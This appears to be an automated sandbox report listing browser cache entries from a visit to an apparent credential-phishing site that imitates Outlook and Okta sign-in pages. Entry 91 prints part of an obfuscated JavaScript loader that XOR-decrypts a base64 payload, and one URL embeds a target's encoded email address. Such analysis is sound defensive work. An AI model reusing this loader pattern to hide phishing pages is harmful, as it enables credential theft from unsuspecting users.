                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAID
                                                                  Preview:<!DOCTYPE html>..<html lang="en">..<head>.. <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">.. <meta name="robots" content="noindex, nofollow">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>&#8203;</title>.. <style id="outlooklogostyle">..body#outlooklogo {.. background-color: #fff;.. height: 100%;.. overflow: hidden;..}....:root {.. --s: 180px;.. --envW: 130px;.. --envH: 71px;.. --calW: 118px;.. --sqW: calc(var(--calW) / 3);.. --sqH: 37px;.. --calHH: 20px;.. --calH: calc(var(--sqH) * 3 + var(--calHH));.. --calY: calc(var(--calH) + 20px);.. --calYExt: calc(var(--calH) - 80px);.. --calYOverExt: calc(var(--calH) - 92px);.. --flapS: 96px;.. --flapH: calc(0.55 * var(--envH));.. --flapScaleY: calc(var(--flapH) / var(--flapWidth));.. --dur: 5s..}..#containerShadow,#ef{border-radius:0 0 7px 7px;}..#cal,#cal>.r{display:flex;}..#fmask,#openedFlap{width:var(--envW);height:107px;}..#ca

                                                                  Chrome Cache Entry: 89

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:RIFF (little-endian) data, Web/P image
                                                                  Category:dropped
                                                                  Size (bytes):4622
                                                                  Entropy (8bit):7.771723927920211
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:4E60AA2DE553E4705CBF57EC3E0FA2F0
                                                                  SHA1:91B69ED3809086B0FC7E25231B71FA3A8A80A099
                                                                  SHA-256:5C3F2D6BC58270CF0932F6902E094855E8B1C7534F9360EEA615B10060128764
                                                                  SHA-512:1737EAB49EE923E306274E6CD89EE6422B2513919511334122CAAD2057BAE818B01106F658FB73FE73E644C37A1C0C76FBCEC7E741F843AA09F51CB5A60C9D47
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:RIFF....WEBPVP8X....0...U..G..ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH>...... .....6....?w....JP.A..m.u.m...m..?...m5m.m......c.q~7...%...0}x"k.@....i.Yo..6.h..ho..9...6C{_%..O.:t.S.CNx7.\6w.c...:{..2....9./...;[.1.J...oqu........a...9...+M..>K.3MU.vA75..mt....7..Bc...&..M:..N....u.dM.%V9....;...C.e2..o...!. ..7.;m...Y.t..`..0..X....~e....<.M..........[.....t..?..>.q.!.7.c.......F,m.j.....@.\..}.F...q.......rd..v.].D.5ep..^.......?(......\R.....$..f.y.5....v._..M.i...e...qM..}D.5..!.....g|DZ..."1..(oB.y....[5..F;.A.&.3.....6.0Z...Y...+G..qk

                                                                  Chrome Cache Entry: 90

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:very short file (no magic)
                                                                  Category:dropped
                                                                  Size (bytes):1
                                                                  Entropy (8bit):0.0
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:CFCD208495D565EF66E7DFF9F98764DA
                                                                  SHA1:B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
                                                                  SHA-256:5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
                                                                  SHA-512:31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:0

                                                                  Chrome Cache Entry: 91

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:HTML document, ASCII text, with very long lines (11997), with CRLF line terminators
                                                                  Category:downloaded
                                                                  Size (bytes):17024
                                                                  Entropy (8bit):5.963510290372322
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:F9A82F2FE7CB7F1C1EFF8E66DDAF4872
                                                                  SHA1:B04E5E181963B4D7C0C88F073AAD14B3B0D689A8
                                                                  SHA-256:7CBABF8456624D854402F6FEAAFDE946CC68B19B461A2431912179DE3FCB5279
                                                                  SHA-512:A58D314CC3F9D599BBE238F993C451B97CE72E75BFC6D35ADD1F101915D6BC9C85303A2763187CA45882875BE4CDAEC4C4FCFCD4DED0A40945F58B1485884633
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://rft.naturdon.com/iVYo/
                                                                  Preview:<script>..function siySqhtCvZ(lipNPIfWKA, XbifpEQcyi) {..let KwzCECwgRy = '';..lipNPIfWKA = atob(lipNPIfWKA);..let iFFgOsdHVr = XbifpEQcyi.length;..for (let i = 0; i < lipNPIfWKA.length; i++) {.. KwzCECwgRy += String.fromCharCode(lipNPIfWKA.charCodeAt(i) ^ XbifpEQcyi.charCodeAt(i % iFFgOsdHVr));..}..return KwzCECwgRy;..}..var CqcOLNWxXA = siySqhtCvZ(`T0AMBxEiQhUkJhAOTR0MJkZGbXtcUAARHXxcRCIxAUpBFhc/GV8mIRZBFlhLfAAbZ3oeWgFbEiEUC2t7AFAdHAgmCDhdaABQHRwIJhZGJTdOEQcBDCJFD3h7EFcBHwt8VVk4IRdVAxQKNxhWODlcUgUUAH1aXDUnXFAdDAgmWRg9J1wHQURWYxlWJS0DRwBYEiEYWD46XVkcV0ZuGUY0JhpDG0t1WDs/aycQQQYFDGw7PzkxBBMpABYxQlw4OltSGxoaehFUAA0UeChAEDZbWTkNK2EZFhFnBW8AHhhQAhlKCG58MDI7RAgRSj5DbxBtQH8COxAwcU0GNTR1GhE/a0J8HyxLeicRCDBbZyEwCgYJFj86Xlc5BgVRPDdANHV3Ig0raR8vShQGV2QdBlc3OxQxXXM5DiQGXzkVPkNsZSxCaSgjAhl1fxQwK3kYPBE5RnwfJz1wBjQfG3V0MB0wcggRSj5DbxBtQH8CDQ4LBHNnNSQKGjw8YlF8OhIaUVwjSB1bfyQNJAYdPBIheHY5ZD1wAicOCwVjIw4kBl85FRRdbxICQWk4QEgGcVktMDRlGi8gG1l8OiAfVjgnDjYEAT4YMHECES9nXFEQOAVRBjQXCG5vOzYdYh88MCF4dj4VFHos

                                                                  Chrome Cache Entry: 92

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:ASCII text, with very long lines (10450)
                                                                  Category:downloaded
                                                                  Size (bytes):10498
                                                                  Entropy (8bit):5.327380141461276
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:E0D37A504604EF874BAD26435D62011F
                                                                  SHA1:4301F0D2B729AE22ADECE657D79ECCAA25F429B1
                                                                  SHA-256:C39FF65E2A102E644EB0BF2E31D2BAD3D18F7AFB25B3B9BA7A4D46263A711179
                                                                  SHA-512:EF838FD58E0D12596726894AB9418C1FBE31833C187C3323EBFD432970EB1593363513F12114E78E008012CDEF15B504D603AFE4BB10AE5C47674045ACC5221E
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css
                                                                  Preview:a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,th,thead,tr,tt,u,ul,var{background:transparent;border:0;font-size:100%;font:inherit;margin:0;outline:0;padding:0;vertical-align:baseline}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}:focus{outline:0}ins{text-decoration:none}del{text-decoration:line-through}table{border-collapse:collapse;border-spacing:0}input[type=hidden]{display:none!important}input[type=checkbox],input[type=radio]{border:0!important;margin:0;padding:0}@font-face{font-family:Proxima Nova;font-style:normal;font-weight:400;src:url(../font/assets/proximanova-reg-webfont.9d5837512674046fa816.eot);src:url(../font/assets/proximanova-reg-webfont.9d5837512674046fa816.eot?#iefix) fo

                                                                  Chrome Cache Entry: 93

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:SVG Scalable Vector Graphics image
                                                                  Category:downloaded
                                                                  Size (bytes):268
                                                                  Entropy (8bit):5.111190711619041
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:59759B80E24A89C8CD029B14700E646D
                                                                  SHA1:651B1921C99E143D3C242DE3FAACFB9AD51DBB53
                                                                  SHA-256:B02B5DF3ECD59D6CD90C60878683477532CBFC24660028657F290BDC7BC774B5
                                                                  SHA-512:0812DA742877DD00A2466911A64458B15B4910B648A5E98A4ACF1D99E1220E1F821AAF18BDE145DF185D5F72F5A4B2114EA264F906135F3D353440F343D52D2E
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://rft.naturdon.com/opkmv1QBWy5HuyxZJI5Cg5CDMC4Bj2jXZcl7dzghirqCw8Vp0H6SYkfkWBBVpcX2ef196
                                                                  Preview:<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill="#404040"/></svg>

                                                                  Chrome Cache Entry: 95

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                  Category:downloaded
                                                                  Size (bytes):101
                                                                  Entropy (8bit):4.797524201274186
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:51DF8D57D5CE1BF02A297A81C5B9CE80
                                                                  SHA1:2E9C201D1B04194F1FEA5035A8737F69691925C5
                                                                  SHA-256:2EDE778E67F79D88F8D2F0C33E6E9312FB23ED631AC9D9A2382F61F84756A700
                                                                  SHA-512:D68A926986DC5F146F73BAA5C84DFBAE31BE9D396A1E806FBFDADC9741537D3FC6E8A265AB845FC8399EFFCAA90C4469AD3A4F60EF177811781B4E9CCFCE2400
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://registrosaraquari.com.br/0/index.xml?nl=YnJpYW4uZ3VyYmFjaEB0ZXhhbmFjZW50ZXIuY29t
                                                                  Preview:<?xml version="1.0" encoding="UTF-8"?>..<?xml-stylesheet type="text/xsl" href="index.xslt"?>..<root/>

                                                                  Chrome Cache Entry: 96

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:Web Open Font Format, TrueType, length 35970, version 1.0
                                                                  Category:downloaded
                                                                  Size (bytes):35970
                                                                  Entropy (8bit):7.989503040923577
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:496B7BBDE91C7DC7CF9BBABBB3921DA8
                                                                  SHA1:2BD3C406A715AB52DAD84C803C55BF4A6E66A924
                                                                  SHA-256:AE40A04F95DF12B0C364F26AB691DC0C391D394A28BCDB4AEACFACA325D0A798
                                                                  SHA-512:E02B40FEA8F77292B379D7D792D9142B32DFCB887655A2D1781441227DD968589BFC5C00691B92E824F7EDB47D11EBA325ADE67AD08A4AF31A3B0DDF4BB8B967
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://rft.naturdon.com/GDSherpa-bold.woff
                                                                  Preview:wOFF..............$ .......\...&............DSIG...T............GPOS..........N..B..GSUB...`.........3y.OS/2.......F...`i.{[cmap...X.......<.?+.cvt ......./...<)...fpgm............?...gasp................glyf..!t..Ra....$.ihead..s....3...6..}.hhea..t....!...$....hmtx..t0.......x?s.#loca..w.........LC%.maxp..{X... ... .5..name..{x..........post..~@........1+.,prep.............P..x..\.tU..;y...!..!..R.4."(."*".U..V.]3...r..5c...j....._.7U...H..1MSE...0b..b&.......%..w...}.{.......u...s..g..soBLD~.C.)n..1.Q...z.q. ..R..)n.QY.v..{.(...o...O.......G...{to.~.....,..#<.w...W...?6..3....2.)O........].`_a..F'.6..."}&..$'.K...a..NK$..01ar......-.Do_. .H.].x'{....n....{.|.L.p..u...-.w}.}...~.....(.zP:..^t.=D?..i9.....m.......AE.......J.....j......q&_...`....P....M<.o.[.V....H..Sx:...<.g.....x>/.......^..x9.....Ws...&.....x....jUJ...B.S...2(_...U...Q...<..y.j.y...P.x.:....m+..V.....5h[.~E.WL..rp....0..*Pu..$OA....LJ.Y.....9.e...L..... /"?.m.......+..J.........

                                                                  Chrome Cache Entry: 99

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:Web Open Font Format (Version 2), TrueType, length 93276, version 1.0
                                                                  Category:downloaded
                                                                  Size (bytes):93276
                                                                  Entropy (8bit):7.997636438159837
                                                                  Encrypted:true
                                                                  SSDEEP:
                                                                  MD5:BCD7983EA5AA57C55F6758B4977983CB
                                                                  SHA1:EF3A009E205229E07FB0EC8569E669B11C378EF1
                                                                  SHA-256:6528A0BF9A836A53DFD8536E1786BA6831C9D1FAA74967126FDDF5B2081B858C
                                                                  SHA-512:E868A2702CA3B99E1ABBCBD40B1C90B42A9D26086A434F1CBAE79DFC072216F2F990FEC6265A801BC4F96DB0431E8F0B99EB0129B2EE7505B3FDFD9BB9BAFE90
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://rft.naturdon.com/GDSherpa-vf2.woff2
                                                                  Preview:wOF2......l\....... ..k...........................v...&..$?HVAR.j?MVAR.F.`?STAT.6'8.../.H........x....0..:.6.$..0. ..z...[....%"...........!.I.T....w.!c.H...t.]k......6..Cy..Ul.re........I..%.%....DE....v.i.QF8....iH.!r......P4Z[....Zs....o..r..8b.O....n...!......R}GL..5n!....^..I...A.....U...,&..uz....E.R.K/GL...#..U..A8%.rd..E,}...'e...u..3.dD....}..:..0.a..#O8.|.7..{.}.o......(.D..HX...w.;F...g.+....g.x..,.@~<.K......ZJw......^.!..{:..<..`N..h..0.t..NA..,...]........On./..X|_=...e,.tS..3Z..q_....'F[..jR.?U..k.:+;..Z.co5..l..yV.Md..4.6............L8q..._...AX.y.Cc...Agb..a.K...N....`-..N.b.u...q..i.S...p..j*...fA.......?.Z.Ee.~|.\..TZ._...?./a.64..+.]..(gq..d..\K...S..z.i.l[.........1=....I.....4g.?.G.3.&.0L&.$.@R6...U..o..:.S.=.....bU..u.]z.W8[U.|7.'.%..u...11..g<.^...J..PB.JHB...k........].($..D...S"u...7...9.8.....U..7...R$..x...g.X.zV.,.$....y.:.....Q$OM....q.. ...(.O....".d<.l..9..|^B.r.5......yi.D..._...<P..o....(Re.I...@E.~..T.

                                                                  Static File Info

                                                                  ⊘No static file info